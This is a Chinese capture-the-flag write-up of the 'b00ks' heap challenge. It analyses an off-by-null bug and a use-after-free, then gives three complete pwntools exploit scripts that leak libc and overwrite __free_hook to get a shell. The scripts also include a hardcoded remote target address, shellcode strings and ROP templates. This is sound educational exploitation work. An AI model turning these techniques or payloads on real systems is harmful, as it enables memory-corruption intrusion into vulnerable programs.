PWN January 03, 2020

offbyone引发的一连串问题

Words count 61k Reading time 56 mins. Read count 0

一、题目:Book

先来看看保护机制:

56689191178

栈溢出保护没开(这是一道堆题。。),其他保护全开

ida清晰地分析一波:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
__int64 savedregs; // [rsp+20h] [rbp+0h]

setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
sub_A77();
change();
while ( menu() != 6 )
{
switch ( &savedregs )
{
case 1u:
create();
break;
case 2u:
delete();
break;
case 3u:
edit();
break;
case 4u:
puts_0();
break;
case 5u:
change();
break;
default:
puts("Wrong option");
break;
}
}
puts("Thanks to use our library software");
return 0LL;
}

熟悉的菜单界面,一般的堆题常见的方式,为了方便调试,我把名字都改了,在xman学习了怎么创建结构体,这里直接用上了,下面一步步分析:

56689214878

这里写author的name到0x202018的地址处,大小限定是0x20。

56689366547

看到这个read函数是我们自己定义的,然后有个明显的offbynull的漏洞

我们继续看:先分析malloc部分

56689221981

56689228415

考察代码的审计能力,这里我运用了结构体,看起来舒服很多:

56689230100

也可以在ida里面看到我们的堆块的布局情况:

56689279895

也就是自定义的name块和description大小在前,然后固定的0x20的堆块在后(我在ida创建了这个结构体),继续分析:free函数

56689290796

这个free很明显的uaf漏洞,name和description没有清空,只清空了ID

下面是puts函数:

56689301035

打印出各个位置上的内容,这里索引的方式是根据ID地址计算偏移得到其他属性的地址

再看edit函数:

56689321730

这里先查看下有没有满,堆块的上限是20个,只有ID不为空时才有效,而且edit时查找的是description和它的size,再实现写入操作。

最后一个函数:change

56689333824

这里是修改下写入的name,其实gdb动态调试下会发现,在author的name下面是我们的ID的地址:

原理就是当我们malloc一个堆块了,它就会把ID指针复制到authorname的位置下面:

56689358707

这里我们输入的author的name是MMMM….

好了,函数基本上都介绍完了,漏洞点也知道了,下面就是利用了:

1、填满那个author的name,malloc一个堆块然后可以打印出地址来(没有零截断),因为后面生成的地址会覆盖掉0截断

2、有了堆地址,下面就是fake_chunk的伪造了,这里有个小技巧,就是要把fake_chunk放到我们的description中

3、接着就可以任意堆地址读写了

这里介绍三种方法:

1、通过申请vmmap的超大内存实现泄露真实地址+改写地址

2、通过unsort bin泄露真实地址+offbyone改写地址

3、通过unlink实现任意地址写

1:这种方法绕过pie的方法是vmmap处地址和libc基地址之间的偏移是不变的:

libc_base = 泄露出来的vmmap地址-offset

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
#coding=utf8
from pwn import *
from libformatstr import FormatStr
context.log_level = 'debug'
context(arch='amd64', os='linux')
local = 1
elf = ELF('./b00ks')
if local:
p = process('./b00ks')
libc = elf.libc
else:
p = remote('116.85.48.105',5005)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#onegadget64(libc.so.6) 0x45216 0x4526a 0xf02a4 0xf1147
#onegadget32(libc.so.6) 0x3ac5c 0x3ac5e 0x3ac62 0x3ac69 0x5fbc5 0x5fbc6
# payload32 = fmtstr_payload(offset ,{xxx_got:system_addr})
# f = FormatStr(isx64=1)
# f[0x8048260]=0x45372800
# f[0x8048260+4]=0x7f20
# f.payload(7)
#shellcode = asm(shellcraft.sh())
#shellcode32 = '\x68\x01\x01\x01\x01\x81\x34\x24\x2e\x72\x69\x01\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\x6a\x0b\x58\xcd\x80'
#shellcode64 = '\x48\xb8\x01\x01\x01\x01\x01\x01\x01\x01\x50\x48\xb8\x2e\x63\x68\x6f\x2e\x72\x69\x01\x48\x31\x04\x24\x48\x89\xe7\x31\xd2\x31\xf6\x6a\x3b\x58\x0f\x05'
#shellcode64 = '\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05'
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()

def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))
# i = 0
# while True:
# i += 1
# print i
# if local:
# p = process('./babypie')
# libc = elf.libc
# else:
# p = remote('',)
# libc = ELF('./')
# sl = lambda s : p.sendline(s)
# sd = lambda s : p.send(s)
# rc = lambda n : p.recv(n)
# ru = lambda s : p.recvuntil(s)
# ti = lambda : p.interactive()
# system_addr = '\x3E\x0A'
# py = ''
# py += 'a'*0x28 +'\x01'
# sd(py)
# ru('\x01')
# canary = '\x00' + p.recv()[:7]
# print "canary--->" + hex(u64(canary))
# py = ''
# py += 'a'*0x28 + canary + 'aaaaaaaa' + system_addr
# sd(py)
# try:
# p.recv(timeout = 1)
# except EOFError:
# p.close()
# continue
# p.interactive()
def bk(addr):
gdb.attach(p,"b *"+str(hex(addr)))

# def mid_overflow(offset,func_got,rdi,rsi,rdx,next_func):
# payload = ''
# payload += 'a'*offset
# payload += 'aaaaaaaa'
# payload += p64(pppppp_ret)
# payload += p64(0)
# payload += p64(0)
# payload += p64(1)
# payload += p64(func_got)
# payload += p64(rdx)
# payload += p64(rsi)
# payload += p64(rdi)
# payload += p64(mov_ret)
# payload += p64(0)
# payload += p64(0)
# payload += p64(0)
# payload += p64(0)
# payload += p64(0)
# payload += p64(0)
# payload += p64(0)
# payload += p64(next_func)
# ru('Input:\n')
# sd(payload)
def malloc(size1,name,size2,content):
ru("> ")
sl('1')
ru("\nEnter book name size: ")
sl(str(size1))
ru("Enter book name (Max 32 chars): ")
sl(name)
ru("\nEnter book description size: ")
sl(str(size2))
ru("Enter book description: ")
sl(content)
def free(index):
ru("> ")
sl('2')
ru("Enter the book id you want to delete: ")
sl(str(index))
def edit(index,content):
ru("> ")
sl('3')
ru("Enter the book id you want to edit: ")
sl(str(index))
ru("Enter new book description: ")
sl(content)
def puts():
ru("> ")
sl('4')
def change(name):
ru("> ")
sl('5')
ru("Enter author name: ")
sl(name)
debug(0x127F)
ru('Enter author name: ')
sl("M"*0x20)
malloc(0x90,"1111",0x90,"44444444")
puts()
ru("M"*0x20)
book1_ID = u64(rc(6).ljust(8,'\x00'))
print "book1_ID--->" + hex(book1_ID)
book2_ID = book1_ID+0x30
malloc(0x21000,"2222",0x21000,"555555555")
py = ''
py += 'a'*0x40 + p64(0x1) + p64(book2_ID+8) + p64(book2_ID+8) + p64(0xffff)
edit(1,py)
change("a"*0x20)
puts()
ru("Name: ")
libc_base = u64(rc(6).ljust(8,'\x00')) - 0x5b0010
print "libc_base--->" + hex(libc_base)
onegadget = libc_base + 0x4526a
free_hook = libc_base + libc.symbols["__free_hook"]
system =libc_base + libc.symbols["system"]
binsh = libc_base + libc.search("/bin/sh\x00").next()
py = ''
py += p64(binsh) + p64(free_hook)
edit(1,py)
#edit(2,p64(system))
edit(2,p64(onegadget))
free(2)

p.interactive()

2:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
#coding=utf8
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')
local = 1
elf = ELF('./b00ks')
if local:
p = process('./b00ks')
libc = elf.libc
else:
p = remote('116.85.48.105',5005)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#onegadget64(libc.so.6) 0x45216 0x4526a 0xf02a4 0xf1147
#onegadget32(libc.so.6) 0x3ac5c 0x3ac5e 0x3ac62 0x3ac69 0x5fbc5 0x5fbc6
# payload32 = fmtstr_payload(offset ,{xxx_got:system_addr})
# f = FormatStr(isx64=1)
# f[0x8048260]=0x45372800
# f[0x8048260+4]=0x7f20
# f.payload(7)
#shellcode = asm(shellcraft.sh())
#shellcode32 = '\x68\x01\x01\x01\x01\x81\x34\x24\x2e\x72\x69\x01\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\x6a\x0b\x58\xcd\x80'
#shellcode64 = '\x48\xb8\x01\x01\x01\x01\x01\x01\x01\x01\x50\x48\xb8\x2e\x63\x68\x6f\x2e\x72\x69\x01\x48\x31\x04\x24\x48\x89\xe7\x31\xd2\x31\xf6\x6a\x3b\x58\x0f\x05'
#shellcode64 = '\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05'
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()

def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))

def bk(addr):
gdb.attach(p,"b *"+str(hex(addr)))


def malloc(size1,name,size2,content):
ru("> ")
sl('1')
ru("\nEnter book name size: ")
sl(str(size1))
ru("Enter book name (Max 32 chars): ")
sl(name)
ru("\nEnter book description size: ")
sl(str(size2))
ru("Enter book description: ")
sl(content)
def free(index):
ru("> ")
sl('2')
ru("Enter the book id you want to delete: ")
sl(str(index))
def edit(index,content):
ru("> ")
sl('3')
ru("Enter the book id you want to edit: ")
sl(str(index))
ru("Enter new book description: ")
sl(content)
def puts():
ru("> ")
sl('4')
def change(name):
ru("> ")
sl('5')
ru("Enter author name: ")
sl(name)
debug(0x127F)
ru('Enter author name: ')
sl("M"*0x20)
malloc(0x70,"1111",0x90,"/bin/sh\x00")
malloc(0x20,"2222",0x90,"/bin/sh\x00")
malloc(0x20,'/bin/sh\x00',0x90,"/bin/sh\x00")
puts()
ru("M"*0x20)
heap_base = u64(rc(6).ljust(8,'\x00'))
print "heap_base--->" + hex(heap_base)
free(2)
py = 'a'*0x60
py += p64(0x1) + p64(heap_base+0x60) + p64(heap_base+0x210) + p64(0xffff)
edit(1,py)
change("A"*0x20)
puts()
ru("Name: ")
malloc_hook = u64(rc(6).ljust(8,'\x00')) - 88 -0x10
libc_base = malloc_hook - libc.symbols["__malloc_hook"]
onegadget = libc_base + 0x4526a
system = libc_base + libc.symbols["system"]
free_hook = libc_base + libc.symbols["__free_hook"]
print "onegadget-->" + hex(onegadget)
edit(1,p64(free_hook)[:7])
edit(3,p64(system))
free(3)
p.interactive()

3:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
#coding=utf8
from pwn import *
from libformatstr import FormatStr
context.log_level = 'debug'
context(arch='amd64', os='linux')
local = 1
elf = ELF('./b00ks')
if local:
p = process('./b00ks')
libc = elf.libc
else:
p = remote('116.85.48.105',5005)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#onegadget64(libc.so.6) 0x45216 0x4526a 0xf02a4 0xf1147
#onegadget32(libc.so.6) 0x3ac5c 0x3ac5e 0x3ac62 0x3ac69 0x5fbc5 0x5fbc6
# payload32 = fmtstr_payload(offset ,{xxx_got:system_addr})
# f = FormatStr(isx64=1)
# f[0x8048260]=0x45372800
# f[0x8048260+4]=0x7f20
# f.payload(7)
#shellcode = asm(shellcraft.sh())
#shellcode32 = '\x68\x01\x01\x01\x01\x81\x34\x24\x2e\x72\x69\x01\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\x6a\x0b\x58\xcd\x80'
#shellcode64 = '\x48\xb8\x01\x01\x01\x01\x01\x01\x01\x01\x50\x48\xb8\x2e\x63\x68\x6f\x2e\x72\x69\x01\x48\x31\x04\x24\x48\x89\xe7\x31\xd2\x31\xf6\x6a\x3b\x58\x0f\x05'
#shellcode64 = '\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05'
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()

def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))
# i = 0
# while True:
# i += 1
# print i
# if local:
# p = process('./babypie')
# libc = elf.libc
# else:
# p = remote('',)
# libc = ELF('./')
# sl = lambda s : p.sendline(s)
# sd = lambda s : p.send(s)
# rc = lambda n : p.recv(n)
# ru = lambda s : p.recvuntil(s)
# ti = lambda : p.interactive()
# system_addr = '\x3E\x0A'
# py = ''
# py += 'a'*0x28 +'\x01'
# sd(py)
# ru('\x01')
# canary = '\x00' + p.recv()[:7]
# print "canary--->" + hex(u64(canary))
# py = ''
# py += 'a'*0x28 + canary + 'aaaaaaaa' + system_addr
# sd(py)
# try:
# p.recv(timeout = 1)
# except EOFError:
# p.close()
# continue
# p.interactive()
def bk(addr):
gdb.attach(p,"b *"+str(hex(addr)))

# def mid_overflow(offset,func_got,rdi,rsi,rdx,next_func):
# payload = ''
# payload += 'a'*offset
# payload += 'aaaaaaaa'
# payload += p64(pppppp_ret)
# payload += p64(0)
# payload += p64(0)
# payload += p64(1)
# payload += p64(func_got)
# payload += p64(rdx)
# payload += p64(rsi)
# payload += p64(rdi)
# payload += p64(mov_ret)
# payload += p64(0)
# payload += p64(0)
# payload += p64(0)
# payload += p64(0)
# payload += p64(0)
# payload += p64(0)
# payload += p64(0)
# payload += p64(next_func)
# ru('Input:\n')
# sd(payload)
def malloc(size1,name,size2,content):
ru("> ")
sl('1')
ru("\nEnter book name size: ")
sl(str(size1))
ru("Enter book name (Max 32 chars): ")
sl(name)
ru("\nEnter book description size: ")
sl(str(size2))
ru("Enter book description: ")
sl(content)
def free(index):
ru("> ")
sl('2')
ru("Enter the book id you want to delete: ")
sl(str(index))
def edit(index,content):
ru("> ")
sl('3')
ru("Enter the book id you want to edit: ")
sl(str(index))
ru("Enter new book description: ")
sl(content)
def puts():
ru("> ")
sl('4')
def change(name):
ru("> ")
sl('5')
ru("Enter author name: ")
sl(name)
#debug(0x127F)
ru('Enter author name: ')
sl("M"*0x20)
malloc(0x20,"1111",0x20,"/bin/sh\x00")
puts()
ru("M"*0x20)
heap_base = u64(rc(6).ljust(8,'\x00'))-0x1080
print "heap_base--->" + hex(heap_base)
malloc(0x20,'2222',0x20,'55555555')
malloc(0x20,'3333',0x20,'66666666')
free(2)
free(3)
ptr = heap_base + 0x1180
py = ''
py = p64(0) + p64(0x101) + p64(ptr - 0x18) + p64(ptr - 0x10) + '\x00' * 0xe0 + p64(0x100)
malloc(0x20,'4444',0x108,'77777777')
malloc(0x20,'5555',0x100-0x10,'88888888')
malloc(0x20,'6666',0x200,'/bin/sh\x00')
edit(4,py)
free(5)
py = ''
py += p64(0x30) + p64(4) + p64(heap_base + 0x11a0) + p64(heap_base + 0x10c0) + '\n'
edit(4,py)
edit(4,p64(heap_base+0x11E0))
puts()
ru("Name: 6666")
ru("Description: ")
malloc_hook = u64(rc(6).ljust(8,'\x00'))-88-0x10
print "malloc_hook--->" + hex(malloc_hook)
libc_base = malloc_hook - libc.symbols["__malloc_hook"]
onegadget = libc_base + 0x4526a
system = libc_base + libc.symbols["system"]
print "onegadget--->" + hex(onegadget)
free_hook = libc_base + libc.symbols["__free_hook"]
edit(4,p64(free_hook))
edit(6,p64(onegadget))
free(1)

p.interactive()

下面重点讲解下,是怎么利用unlink的方式实现的:

由于堆块的布局是name+description+0x20司令结构体,想要unlink的话,就要构造出unsorted_bin的堆块,所以要让前面的小堆块集中在一起,然后让大堆块都集中到后面去:

这里先申请2个0x20的小堆块,再释放掉,就可以得到6个0x20的堆块:就足够我们去malloc(0x20,name,0xf8,description)3个这样的堆块,从而使得3个0xf8的堆块集中到一起!

这里记住小技巧:要想得到0x101的堆块,申请0xf8的基数堆块,可以利用到pre_size位,从而实现最接近下一个的size!(offbynull就可以打了)

所以先泄露出堆地址,然后利用offbynull的漏洞去改写第2个description堆块pre_inused位为0(把0x101—->0x100),构造出unlink满足的条件,释放掉第2个description堆块,从而实现unlink,这里和bss存指针一样,找到一个指向我们想要收缩的堆块的指针(指向这个description的指针的地址作为ptr),当unlink成功后,就可以任意地址写了,接着就是改写name指向main_arena的堆指针,改写description指向6号堆块的description指针,这样既可以泄露出真实地址,又可以2次改写(实现写入free_hook再写入onegadget),最后getshell

坑点:由于offbynull会溢出修改edit时的size,所以[:7]就是拿来防御的吗,哈哈哈哈哈哈哈

调试过程中的动态图:

56690798796

unlink后指向的改变:

56690802798

接着是改写工作:

56690809247

先泄露再写入:

56690816614

getshell:

56690818020

0%